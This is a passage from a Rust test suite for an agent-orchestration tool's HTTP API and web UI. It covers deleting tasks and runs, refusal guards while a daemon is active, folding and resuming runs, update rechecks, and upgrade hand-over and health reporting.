12974 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
12975 let fx = Fixture::start().await;
12976 let q = fx.queue();
12977
12978 let mut t1 = Task::new(
12980 "Task 1".to_owned(),
12981 "Instruction 1".to_owned(),
12982 PathBuf::from("/repo"),
12983 Source::Human,
12984 );
12985 let run_id = "20260901-000000-r111";
12986 t1.runs.push(run_id.to_owned());
12987 write_run(&fx.runs(), run_id, RunStatus::Merged);
12988 q.put(&mut t1).expect("put t1");
12989
12990 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
12992 assert_eq!(res.status, 204);
12993 assert!(res.body.is_empty(), "204 No Content has no body");
12994 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
12995 assert!(
12996 fx.runs().join(run_id).exists(),
12997 "run directory must not be deleted when its task is deleted"
12998 );
12999
13000 let mut t2 = Task::new(
13002 "Task 2".to_owned(),
13003 "Instruction 2".to_owned(),
13004 PathBuf::from("/repo"),
13005 Source::Human,
13006 );
13007 t2.status = TaskStatus::Running;
13008 q.put(&mut t2).expect("put t2");
13009 let mut beat = crate::daemon::Status::new();
13010 beat.current = vec![crate::daemon::Current {
13011 task: t2.id.clone(),
13012 run: "20260901-000000-r222".to_owned(),
13013 }];
13014 beat.updated_at = jiff::Timestamp::now();
13015 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13016 .expect("publish a heartbeat");
13017 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13018 assert_eq!(res.status, 409);
13019 assert!(
13020 res.json()["error"]
13021 .as_str()
13022 .unwrap()
13023 .contains("live daemon")
13024 );
13025 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13026
13027 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13033 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13034 .expect("leave a stale heartbeat");
13035 let mut t3 = Task::new(
13036 "Task 3".to_owned(),
13037 "Instruction 3".to_owned(),
13038 PathBuf::from("/repo"),
13039 Source::Human,
13040 );
13041 t3.status = TaskStatus::Running;
13042 q.put(&mut t3).expect("put t3");
13043 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13044 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13045 assert_eq!(res.status, 204);
13046 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13047 assert!(
13048 q.claim(&t3.id).is_ok(),
13049 "the stale lock went with it, so the id is claimable again"
13050 );
13051
13052 let res = fx.delete("/api/queue/nonexistent").await;
13054 assert_eq!(res.status, 404);
13055 }
13056
13057 #[tokio::test]
13058 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13059 let fx = Fixture::start().await;
13060 let runs = fx.runs();
13061
13062 let run_id = "20260901-000000-fold";
13064 let mut state = RunState::new(
13065 PathBuf::from("/repo"),
13066 "main".to_owned(),
13067 "abc".to_owned(),
13068 "instruction".to_owned(),
13069 Config::default(),
13070 );
13071 state.id = run_id.to_owned();
13072 state.status = RunStatus::Merged;
13073 state.candidates.push(crate::run::Candidate {
13074 index: 0,
13075 label: 'A',
13076 agent: "a".to_owned(),
13077 branch: "b".to_owned(),
13078 worktree: PathBuf::from("/w"),
13079 summary: String::new(),
13080 stat: String::new(),
13081 files: 1,
13082 commits: 1,
13083 empty: false,
13084 failed: None,
13085 verified_noop: None,
13086 duration_ms: 0,
13087 folded: true,
13088 });
13089 let dir = runs.join(run_id);
13090 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13091 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13092 .expect("write artifact");
13093 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13094 .expect("write run.json");
13095
13096 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13098 assert_eq!(res.status, 204);
13099 assert!(res.body.is_empty(), "204 has no body");
13100 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13101
13102 let run_running = "20260901-000000-rung";
13107 write_run(&runs, run_running, RunStatus::Prep);
13108 let mut beat = crate::daemon::Status::new();
13109 beat.current = vec![crate::daemon::Current {
13110 task: "20260901-000000-task".to_owned(),
13111 run: run_running.to_owned(),
13112 }];
13113 beat.updated_at = jiff::Timestamp::now();
13114 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13115 .expect("publish a heartbeat");
13116 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13117 assert_eq!(res.status, 409);
13118 assert!(
13119 res.json()["error"]
13120 .as_str()
13121 .unwrap()
13122 .contains("live daemon"),
13123 "the refusal must say who is holding it"
13124 );
13125 assert!(
13126 runs.join(run_running).exists(),
13127 "a run in flight keeps its directory"
13128 );
13129
13130 let run_unfolded = "20260901-000000-unfd";
13132 let mut state2 = RunState::new(
13133 PathBuf::from("/repo"),
13134 "main".to_owned(),
13135 "abc".to_owned(),
13136 "instruction".to_owned(),
13137 Config::default(),
13138 );
13139 state2.id = run_unfolded.to_owned();
13140 state2.status = RunStatus::Ready;
13141 state2.candidates.push(crate::run::Candidate {
13142 index: 0,
13143 label: 'A',
13144 agent: "a".to_owned(),
13145 branch: "b".to_owned(),
13146 worktree: PathBuf::from("/w"),
13147 summary: String::new(),
13148 stat: String::new(),
13149 files: 1,
13150 commits: 1,
13151 empty: false,
13152 failed: None,
13153 verified_noop: None,
13154 duration_ms: 0,
13155 folded: false,
13156 });
13157 let dir2 = runs.join(run_unfolded);
13158 std::fs::create_dir_all(&dir2).expect("create dir2");
13159 std::fs::write(
13160 dir2.join("run.json"),
13161 serde_json::to_string(&state2).unwrap(),
13162 )
13163 .expect("write run.json");
13164
13165 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13166 assert_eq!(res.status, 409);
13167 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13168 assert!(dir2.exists(), "unfolded run directory is kept");
13169
13170 let res = fx.delete("/api/runs/nonexistent").await;
13172 assert_eq!(res.status, 404);
13173 }
13174
13175 #[test]
13184 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13185 let start = APP_JS
13186 .find("function renderStats() {")
13187 .expect("renderStats");
13188 let end = start
13189 + APP_JS[start..]
13190 .find("function statsTile(")
13191 .expect("the next top-level function");
13192 let body = &APP_JS[start..end];
13193
13194 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13195 let gate_end = gate_start
13196 + body[gate_start..]
13197 .find("}\n renderStatsQueue")
13198 .expect("the gate's own closing brace, right before the unconditional call");
13199 let gated = &body[gate_start..gate_end];
13200
13201 assert_eq!(
13202 body.matches("renderStatsQueue(").count(),
13203 1,
13204 "renderStats must call renderStatsQueue exactly once: {body}"
13205 );
13206 assert!(
13207 !gated.contains("renderStatsQueue"),
13208 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13209 run-derived panels on an empty run history - the queue panel has to render \
13210 regardless: {gated}"
13211 );
13212 }
13213
13214 #[test]
13215 fn web_ui_delete_contract_in_front_end() {
13216 assert!(APP_JS.contains("deleteRun:"));
13218 assert!(APP_JS.contains("deleteTask:"));
13219
13220 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13222 ..APP_JS.find("function renderRuns").unwrap()];
13223 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13224
13225 assert!(APP_JS.contains("renderRunDelete"));
13227 assert!(APP_JS.contains("runDeleteReason"));
13228 assert!(APP_JS.contains("magi fold"));
13229 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13230
13231 assert!(APP_JS.contains("cancel.focus"));
13233 assert!(APP_JS.contains("armedRunDelete"));
13234 assert!(APP_JS.contains("renderTaskDeleteBox"));
13235 assert!(APP_JS.contains("armed${cap(key)}"));
13236
13237 assert!(APP_JS.contains("disabled: status === \"running\""));
13239 }
13240
13241 #[test]
13261 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13262 let build = APP_JS
13263 .find("function createRunCard")
13264 .expect("createRunCard exists");
13265 let update = APP_JS
13266 .find("function updateRunCard")
13267 .expect("updateRunCard exists");
13268 let end = APP_JS
13269 .find("function renderRuns")
13270 .expect("renderRuns exists");
13271
13272 let builder = &APP_JS[build..update];
13274 let open = builder.find("refs = {").expect("createRunCard sets refs");
13275 let literal = &builder[open + "refs = {".len()..];
13276 let close = literal.find('}').expect("the refs literal is closed");
13277 let published: HashSet<&str> = literal[..close]
13278 .split(',')
13279 .filter_map(|entry| entry.split(':').next())
13281 .map(str::trim)
13282 .filter(|name| !name.is_empty())
13283 .collect();
13284 assert!(
13285 published.len() > 5,
13286 "the refs literal did not parse into names: {published:?}"
13287 );
13288
13289 let mut used: Vec<&str> = Vec::new();
13292 let updaters = &APP_JS[update..end];
13293 for (at, _) in updaters.match_indices("r.") {
13294 let before = updaters[..at].chars().next_back();
13297 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13298 continue;
13299 }
13300 let rest = &updaters[at + 2..];
13301 let len = rest
13302 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13303 .unwrap_or(rest.len());
13304 if len > 0 {
13305 used.push(&rest[..len]);
13306 }
13307 }
13308 assert!(
13309 used.len() > 5,
13310 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13311 );
13312
13313 let missing: Vec<&str> = used
13314 .iter()
13315 .copied()
13316 .filter(|name| !published.contains(name))
13317 .collect();
13318 assert!(
13319 missing.is_empty(),
13320 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13321 never put in `refs` - every card will throw and the list will \
13322 render empty under a count line that says otherwise. Published: \
13323 {published:?}"
13324 );
13325 }
13326
13327 #[tokio::test]
13328 async fn folding_from_the_phone_reports_what_it_removed() {
13329 let fx = Fixture::start().await;
13330 let runs = fx.runs();
13331
13332 let id = "20260901-000000-fold";
13336 write_run(&runs, id, RunStatus::Stalled);
13337 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13338 assert_eq!(res.status, 200);
13339 assert_eq!(res.json()["removed_count"], 0);
13340 assert_eq!(res.json()["run"], id);
13341 assert!(
13342 runs.join(id).exists(),
13343 "a fold keeps the run's record; only the worktrees go"
13344 );
13345 }
13346
13347 #[tokio::test]
13348 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13349 let fx = Fixture::start().await;
13350 let runs = fx.runs();
13351 let wt = fx.home.path().join("wt").join("magi").join("dead");
13352 let id = "20260901-000000-dead";
13353 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13354 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13355 std::fs::create_dir_all(&wt).expect("worktree dir");
13356
13357 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13358 assert_eq!(res.status, 200, "{}", res.body);
13359 assert!(
13360 res.json()["removed_count"].as_u64().unwrap() > 0,
13361 "the worktree this build could not read a state for still went"
13362 );
13363 assert!(
13364 !runs.join(id).exists(),
13365 "an unreadable run has no candidate list to fold selectively, so \
13366 the whole record goes - same as `magi fold` on the CLI"
13367 );
13368 }
13369
13370 #[tokio::test]
13371 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13372 let fx = Fixture::start().await;
13373 let runs = fx.runs();
13374 let wt = fx.home.path().join("wt").join("magi").join("gone");
13375 let id = "20260901-000000-gone";
13376 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13377 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13378 std::fs::create_dir_all(&wt).expect("worktree dir");
13379
13380 let res = fx.delete(&format!("/api/runs/{id}")).await;
13381 assert_eq!(res.status, 204, "{}", res.body);
13382 assert!(!runs.join(id).exists(), "the broken record is gone");
13383 assert!(!wt.exists(), "its worktree is gone too");
13384 }
13385
13386 #[tokio::test]
13387 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13388 let fx = Fixture::start().await;
13389 let runs = fx.runs();
13390 let id = "20260901-000000-live";
13391 write_run(&runs, id, RunStatus::Implementing);
13392
13393 let mut beat = crate::daemon::Status::new();
13394 beat.current = vec![crate::daemon::Current {
13395 task: "20260901-000000-task".to_owned(),
13396 run: id.to_owned(),
13397 }];
13398 beat.updated_at = jiff::Timestamp::now();
13399 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13400 .expect("publish a heartbeat");
13401
13402 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13403 assert_eq!(res.status, 409);
13404 assert!(
13405 res.json()["error"]
13406 .as_str()
13407 .unwrap()
13408 .contains("live daemon"),
13409 "folding under a running agent would pull its worktree away"
13410 );
13411 }
13412
13413 #[tokio::test]
13414 async fn fold_merged_requires_a_pr_url() {
13415 let fx = Fixture::start().await;
13416 let runs = fx.runs();
13417 let id = "20260901-000000-nourl";
13418 write_run(&runs, id, RunStatus::Blocked);
13419
13420 let res = fx
13421 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13422 .await;
13423 assert_eq!(res.status, 400, "{}", res.body);
13424
13425 let blank = fx
13426 .post(
13427 &format!("/api/runs/{id}/fold-merged"),
13428 Some(r#"{"pr_url":" "}"#),
13429 )
13430 .await;
13431 assert_eq!(blank.status, 400, "{}", blank.body);
13432 }
13433
13434 #[tokio::test]
13435 async fn fold_merged_is_404_for_an_unknown_run() {
13436 let fx = Fixture::start().await;
13437 let res = fx
13438 .post(
13439 "/api/runs/nosuchrun/fold-merged",
13440 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13441 )
13442 .await;
13443 assert_eq!(res.status, 404, "{}", res.body);
13444 }
13445
13446 #[tokio::test]
13447 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13448 let fx = Fixture::start().await;
13449 let runs = fx.runs();
13450 let id = "20260901-000000-livemerge";
13451 write_run(&runs, id, RunStatus::Blocked);
13452
13453 let mut beat = crate::daemon::Status::new();
13454 beat.current = vec![crate::daemon::Current {
13455 task: "20260901-000000-task".to_owned(),
13456 run: id.to_owned(),
13457 }];
13458 beat.updated_at = jiff::Timestamp::now();
13459 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13460 .expect("publish a heartbeat");
13461
13462 let res = fx
13463 .post(
13464 &format!("/api/runs/{id}/fold-merged"),
13465 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13466 )
13467 .await;
13468 assert_eq!(res.status, 409, "{}", res.body);
13469 assert!(
13470 res.json()["error"]
13471 .as_str()
13472 .unwrap()
13473 .contains("live daemon"),
13474 "correcting a run's merge underneath a running agent would race \
13475 whatever it is doing to the same `status`/`merge` fields"
13476 );
13477 }
13478
13479 #[tokio::test]
13484 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13485 let fx = Fixture::start().await;
13486 let runs = fx.runs();
13487 let id = "20260901-000000-unconfirmed";
13488 write_run(&runs, id, RunStatus::Blocked);
13489
13490 let res = fx
13491 .post(
13492 &format!("/api/runs/{id}/fold-merged"),
13493 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13494 )
13495 .await;
13496 assert_eq!(res.status, 400, "{}", res.body);
13497 assert_eq!(
13498 read_run(&runs, id).unwrap().status,
13499 RunStatus::Blocked,
13500 "a pull request that could not be confirmed merged must leave \
13501 the run exactly where it was"
13502 );
13503 }
13504
13505 #[tokio::test]
13506 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13507 let fx = Fixture::start().await;
13508 let runs = fx.runs();
13509
13510 for (status, word) in [
13516 (RunStatus::Merged, "merged"),
13517 (RunStatus::Ready, "ready"),
13518 (RunStatus::Failed, "failed"),
13519 ] {
13520 let id = format!("20260901-000000-{}", &word[..4]);
13521 write_run(&runs, &id, status);
13522 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13523 assert_eq!(res.status, 409, "{word} must not be resumable");
13524 let err = res.json()["error"].as_str().unwrap().to_owned();
13525 assert!(err.contains(word), "the refusal names the status: {err}");
13526 }
13527
13528 let mid = "20260901-000000-midf";
13533 write_run(&runs, mid, RunStatus::Reviewing);
13534 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13535 assert_eq!(res.status, 202, "an interrupted run is resumable");
13536 }
13537
13538 #[tokio::test]
13539 async fn resume_is_refused_while_the_loop_is_running() {
13540 let fx = Fixture::start().await;
13541 let runs = fx.runs();
13542 let stalled = "20260901-000000-stal";
13543 write_run(&runs, stalled, RunStatus::Stalled);
13544
13545 let mut beat = crate::daemon::Status::new();
13549 beat.current = vec![crate::daemon::Current {
13550 task: "20260901-000000-task".to_owned(),
13551 run: "20260901-000000-othr".to_owned(),
13552 }];
13553 beat.updated_at = jiff::Timestamp::now();
13554 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13555 .expect("publish a heartbeat");
13556
13557 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13558 assert_eq!(res.status, 409);
13559 let err = res.json()["error"].as_str().unwrap().to_owned();
13560 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13561 assert!(err.contains("stop it first"), "{err}");
13562 }
13563
13564 #[test]
13565 fn a_run_cannot_be_resumed_twice_at_once() {
13566 let home = TempDir::new().expect("temp home");
13567 let ui = Ui::new(
13568 Queue::at(home.path().join("queue")),
13569 Questions::at(home.path().join("questions")),
13570 Talks::at(home.path().join("talks")),
13571 home.path().join("runs"),
13572 home.path().to_path_buf(),
13573 PathBuf::from("/repo"),
13574 )
13575 .with_worktrees_root(home.path().join("wt"));
13576 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13577 let again = ui.begin_resume("20260901-000000-once");
13578 assert!(again.is_err(), "a second tap must not start a second graph");
13579 drop(first);
13580 assert!(
13581 ui.begin_resume("20260901-000000-once").is_ok(),
13582 "and the claim is released when the attempt ends"
13583 );
13584 }
13585
13586 #[test]
13587 fn talk_thinking_tracks_only_its_held_turn_claim() {
13588 let home = TempDir::new().expect("temp home");
13589 let ui = Ui::new(
13590 Queue::at(home.path().join("queue")),
13591 Questions::at(home.path().join("questions")),
13592 Talks::at(home.path().join("talks")),
13593 home.path().join("runs"),
13594 home.path().to_path_buf(),
13595 PathBuf::from("/repo"),
13596 )
13597 .with_worktrees_root(home.path().join("wt"));
13598 let id = "20260901-000000-once";
13599
13600 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13601 let turn = ui.begin_talk_turn(id).expect("claim turn");
13602 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13603 assert!(
13604 !ui.is_thinking("20260901-000000-other"),
13605 "one talk's turn does not make another talk busy"
13606 );
13607 drop(turn);
13608 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13609 }
13610
13611 #[tokio::test]
13612 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
13613 let fx = Fixture::start().await;
13614 let mut beat = crate::daemon::Status::new();
13618 beat.pid = 4321;
13619 beat.updated_at = jiff::Timestamp::now();
13620 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13621 .expect("publish a heartbeat");
13622
13623 let res = fx.post("/api/upgrade", None).await;
13624 assert_eq!(res.status, 409);
13625 let err = res.json()["error"].as_str().unwrap().to_owned();
13626 assert!(err.contains("4321"), "the refusal names the owner: {err}");
13627 assert!(err.contains("old one against the same queue"), "{err}");
13628 }
13629
13630 #[test]
13637 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
13638 assert!(!should_spawn_recheck(&crate::config::Update {
13639 mode: UpdateMode::Off,
13640 interval: None,
13641 }));
13642
13643 unsafe {
13646 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13647 }
13648 let killed = should_spawn_recheck(&crate::config::Update {
13649 mode: UpdateMode::Notify,
13650 interval: None,
13651 });
13652 unsafe {
13653 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13654 }
13655 assert!(
13656 !killed,
13657 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
13658 one-time startup check"
13659 );
13660
13661 assert!(should_spawn_recheck(&crate::config::Update {
13662 mode: UpdateMode::Notify,
13663 interval: None,
13664 }));
13665 }
13666
13667 #[test]
13673 fn recheck_poll_period_tracks_a_short_configured_interval() {
13674 let short = crate::config::Update {
13675 mode: UpdateMode::Notify,
13676 interval: Some("1m".to_owned()),
13677 };
13678 let period = recheck_poll_period(&short);
13679 assert!(
13680 period <= Duration::from_secs(30),
13681 "a one-minute interval must wake the task far sooner than the \
13682 default ceiling, or the deck would not notice within the \
13683 interval the operator configured: got {period:?}"
13684 );
13685
13686 let default = crate::config::Update {
13687 mode: UpdateMode::Notify,
13688 interval: None,
13689 };
13690 assert_eq!(
13691 recheck_poll_period(&default),
13692 UPDATE_RECHECK_POLL_MAX,
13693 "the default day-long interval should poll at the (capped) \
13694 ceiling rather than needlessly often"
13695 );
13696 }
13697
13698 #[test]
13706 fn recheck_skips_the_network_before_the_interval_elapses() {
13707 let dir = TempDir::new().expect("temp dir");
13708 let path = dir.path().join("state.json");
13709 let state = kaishin::UpdateCheckState {
13710 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
13711 last_known_latest: None,
13712 last_known_url: None,
13713 };
13714 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
13715
13716 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
13717 assert!(
13718 !update_recheck_due(&checker, None),
13719 "a check made moments ago must not be repeated before the \
13720 configured interval elapses"
13721 );
13722 }
13723
13724 #[test]
13730 fn recheck_defers_to_an_upgrade_already_in_flight() {
13731 let dir = TempDir::new().expect("temp dir");
13732 let path = dir.path().join("state.json");
13733 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
13734 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
13735
13736 assert!(
13737 !update_recheck_due(&checker, Some(&progress)),
13738 "a recheck must not run while an upgrade this deck started is \
13739 still moving"
13740 );
13741 }
13742
13743 #[tokio::test]
13744 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
13745 unsafe {
13757 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
13758 }
13759 let fx = Fixture::start().await;
13760 let res = fx.post("/api/upgrade", None).await;
13761 unsafe {
13762 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
13763 }
13764 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13765 let body = res.json();
13766 assert!(body["to"].is_null(), "there was no release to move to");
13767 assert!(body["parked"].is_null(), "and nothing was parked");
13768 assert!(
13769 body["detail"]
13770 .as_str()
13771 .unwrap()
13772 .contains("disabled by MAGI_NO_AUTOUPDATE"),
13773 "{body:?}"
13774 );
13775 }
13776
13777 #[tokio::test]
13778 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
13779 let repo = TempDir::new().expect("repo dir");
13795 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13796 .expect("write magi.toml");
13797 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13798
13799 let res = fx.post("/api/upgrade", None).await;
13805 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
13806 let body = res.json();
13807 assert!(body["to"].is_null(), "there was no release to move to");
13808 assert!(body["parked"].is_null(), "and nothing was parked");
13809 assert!(
13810 body["detail"]
13811 .as_str()
13812 .unwrap()
13813 .contains("nothing restarted"),
13814 "{body:?}"
13815 );
13816 }
13817
13818 #[tokio::test]
13819 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
13820 let repo = TempDir::new().expect("repo dir");
13825 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
13826 .expect("write magi.toml");
13827 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
13828
13829 let health = fx.get("/api/health").await.json();
13830 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
13831 assert_eq!(
13832 health["update"]["available"], false,
13833 "checking is off, which reads as \"unknown\", not \"none\""
13834 );
13835 assert!(health["update"]["to"].is_null());
13836 assert!(
13837 health["upgrade"].is_null(),
13838 "nothing has ever asked this deck to upgrade"
13839 );
13840 }
13841
13842 #[tokio::test]
13843 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
13844 let fx = Fixture::start().await;
13845 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
13846
13847 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13848 progress.parked_run = Some("20260905-000000-cd51".to_owned());
13849 progress.advance(crate::updater::Stage::Parking);
13850 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13851
13852 let health = fx.get("/api/health").await.json();
13853 assert_eq!(health["upgrade"]["stage"], "parking");
13854 assert_eq!(health["upgrade"]["from"], "0.5.1");
13855 assert_eq!(health["upgrade"]["to"], "0.5.2");
13856 let waiting_on = health["upgrade"]["waiting_on"]
13857 .as_str()
13858 .expect("waiting_on is set while parking a known run");
13859 assert!(waiting_on.contains("cd51"), "{waiting_on}");
13860 assert!(waiting_on.contains("implementing"), "{waiting_on}");
13861 }
13862
13863 #[tokio::test]
13864 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
13865 let fx = Fixture::start().await;
13866 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13867 progress.advance(crate::updater::Stage::Done);
13868 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13869
13870 let health = fx.get("/api/health").await.json();
13871 assert_eq!(health["upgrade"]["stage"], "done");
13872 assert!(
13873 health["upgrade"]["waiting_on"].is_null(),
13874 "nothing to wait on once it is done"
13875 );
13876 }
13877
13878 #[tokio::test]
13879 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
13880 let home = TempDir::new().expect("temp home");
13881 let runs = home.path().join("runs");
13882 std::fs::create_dir_all(&runs).expect("runs dir");
13883 let ui = Ui::new(
13884 Queue::at(home.path().join("queue")),
13885 Questions::at(home.path().join("questions")),
13886 Talks::at(home.path().join("talks")),
13887 runs,
13888 home.path().to_path_buf(),
13889 PathBuf::from("/repo/magi"),
13890 )
13891 .with_launch(launch_idle);
13892 let looping = ui.looping();
13893 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13894 .await
13895 .expect("bind loopback");
13896 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13897
13898 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13899 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13900
13901 hand_over(home.path(), &looping, served, |_| Ok(1))
13902 .await
13903 .expect("hand over");
13904
13905 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
13906 assert_eq!(
13907 after.stage,
13908 crate::updater::Stage::Restarting,
13909 "hand_over owns the record through parking and up to restarting; \
13910 the successor is what finishes it"
13911 );
13912 }
13913
13914 #[tokio::test]
13917 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
13918 for fail in [false, true] {
13919 let home = TempDir::new().expect("temp home");
13920 let ui = idle_ui(&home);
13921 let looping = ui.looping();
13922 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
13923 .await
13924 .expect("bind loopback");
13925 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
13926 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13927 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
13928
13929 let calls = std::sync::atomic::AtomicUsize::new(0);
13930 let outcome = hand_over(home.path(), &looping, served, |_| {
13931 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
13932 if fail {
13933 anyhow::bail!("no exec")
13934 } else {
13935 Ok(4242)
13936 }
13937 })
13938 .await;
13939 assert_eq!(outcome.is_err(), fail);
13940 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
13941
13942 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
13943 .expect("upgrade.log is written under the home");
13944 for step in [
13945 "entered",
13946 "finish_loop",
13947 "listener released",
13948 "starting the successor",
13949 ] {
13950 assert!(log.contains(step), "missing `{step}` in:\n{log}");
13951 }
13952 assert!(
13953 log.contains(if fail { "did not start" } else { "pid 4242" }),
13954 "{log}"
13955 );
13956 }
13957 }
13958
13959 #[tokio::test]
13962 async fn the_handover_signal_wakes_one_waiter_once() {
13963 let signal = Notify::new();
13964 signal.notify_one();
13966 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
13967 .await
13968 .expect("an early signal is still seen");
13969 assert!(
13971 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
13972 .await
13973 .is_err(),
13974 "a consumed signal must not wake a second time"
13975 );
13976 let signal = std::sync::Arc::new(signal);
13978 let waiter = tokio::spawn({
13979 let signal = std::sync::Arc::clone(&signal);
13980 async move { wait_for_handover(&signal).await }
13981 });
13982 tokio::time::sleep(Duration::from_millis(20)).await;
13983 assert!(!waiter.is_finished(), "nothing was signalled yet");
13984 signal.notify_one();
13985 tokio::time::timeout(Duration::from_secs(5), waiter)
13986 .await
13987 .expect("a late signal wakes the waiter")
13988 .expect("join");
13989 }
13990
13991 #[tokio::test]
13992 async fn health_says_how_long_a_handover_has_been_stuck() {
13993 let fx = Fixture::start().await;
13994 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
13995 progress.advance(crate::updater::Stage::Replaced);
13996 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
13997 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
13998
13999 let health = fx.get("/api/health").await.json();
14000 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
14001 assert!(stuck >= 600, "{stuck}");
